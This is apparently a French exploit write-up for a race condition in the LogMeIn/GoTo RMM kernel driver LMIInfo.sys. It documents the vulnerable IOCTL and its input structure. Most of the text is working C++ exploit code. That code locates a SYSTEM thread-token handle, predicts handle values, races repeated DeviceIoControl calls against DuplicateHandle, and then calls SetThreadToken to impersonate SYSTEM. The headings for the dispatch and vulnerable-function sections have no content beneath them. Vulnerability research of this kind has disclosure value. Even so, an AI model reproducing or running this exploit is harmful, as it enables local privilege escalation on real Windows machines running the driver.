
Exploit pour une condition de course dans le pilote de noyau Windows LogMeIn/GoTo qui duplique les handles SYSTEM, permettant l'usurpation de jeton de thread et l'élévation locale de privilèges.
Une condition de course existe dans le pilote LMIInfo.sys fourni par LogMeIn / GoTo RMM, dans laquelle un handle arbitraire peut être dupliqué depuis le processus SYSTEM. Le problème central vient du manque de contrôle d'accès approprié sur l'objet device, ainsi que de la décision manifestement mauvaise de dupliquer des handles spécifiés par l'utilisateur depuis le processus système.
IOCTL : 0x9211001C
Buffer d'entrée :
// LMI-Common.cpp
typedef struct LMI_INFO {
DWORD64 qwPid;
DWORD64 reserved0;
DWORD64 handleValue;
DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;
Dispatch :

Fonction vulnérable :

Lors de la collecte des informations de handle et du traitement de chaînes, entre les appels à ZwDuplicateObject/ZwClose, le processus appelant peut dupliquer le handle dupliqué. S'il est effectué correctement, le handle dupliqué secondaire persistera après la fermeture du handle dupliqué principal.
Pour déclencher le bug de manière fiable, tous les handles utilisés par le processus DOIVENT être créés avant de déclencher la condition de course. Le handle cible est récupéré depuis le processus système à l'aide de la fonction suivante (le jeton de thread utilisé comme exemple) :
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
HANDLE hHeap = GetProcessHeap();
LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
ULONG ulBytesReturned = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);
while (status == 0xC0000004) {
HeapFree(hHeap, 0, lpBuf);
lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
if (!lpBuf) {
printf("HeapAlloc - %d\n", GetLastError());
return INVALID_HANDLE_VALUE;
}
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
}
if (status) {
printf("Query for handles failed - %lx\n", status);
return INVALID_HANDLE_VALUE;
}
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;
for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
if (shtei.UniqueProcessId != 4) {
continue;
}
printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
return (HANDLE)shtei.HandleValue;
}
}
return INVALID_HANDLE_VALUE;
}
Comme les valeurs HANDLE augmentent par incréments de 4, nous calculons la valeur du handle dupliqué principal en obtenant un compte des HANDLEs et en ajoutant 4. Ainsi, nous ouvrons le device et créons le thread « racing » dans un état suspendu avant de calculer la valeur du handle suivant. Cela pourrait probablement être effectué de manière plus stable et plus « raffinée », ce qui est laissé en exercice au lecteur, sans doute plus compétent, mdr.
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
HANDLE highestHandle = 0;
UINT32 u32NumHandles = 0;
ULONG ulSizeReturned = 0;
NTSTATUS status = 0;
status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
if (!NT_SUCCESS(status)) {
return (HANDLE)-1;
}
return (HANDLE)((UINT64)++u32NumHandles * 4);
}
Une fois terminé, le thread racing est repris et des IOCTL répétés sont émis :
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
puts("Entered DupeThread");
if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
printf("Invalid device handle passed to thread : %lx\n", GetLastError());
return -1;
}
PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;
DWORD dwBytesReturned = 0;
LMI_INFO lmii = { 0 };
lmii.qwPid = 4;
lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know
if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
puts("Couldn't find a token handle in the system process??");
}
BOOL bRes = FALSE;
LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);
if (!lpOutBuf) {
printf("HeapAlloc : %lx\n", GetLastError());
return -1;
}
while (Dti->Run) {
// call DeviceIoControl to start the race
bRes = DeviceIoControl(
Dti->hDevice,
IOCTL_DUPE_LEL,
&lmii,
sizeof(LMI_INFO),
lpOutBuf,
0x1000,
&dwBytesReturned,
NULL
);
}
}
Le choix de conception du thread racing s'explique par ce qui suit :
Le thread principal appelle DuplicateHandle à plusieurs reprises pour dupliquer le handle dupliqué principal jusqu'à ce que la duplication réussisse, puis le booléen global est défini sur false pour arrêter le thread racing (oui, oui, je sais).
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);
puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
printf("Error resuming dupe thread - %lx\n", GetLastError());
return -1;
}
while (!bRes) {
bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}
dti.Run = FALSE;
if (bRes) {
puts("ebin");
printf("%llx - target\n", hTarget);
printf("%llx - dup\n", hToken);
bRes = SetThreadToken(NULL, hToken);
if (!bRes) {
printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
}
else {
puts("Set the thread token!");
}
}
else {
printf("Failed to dupe token: %lx\n", GetLastError());
return -1;
}
getchar();
return 0;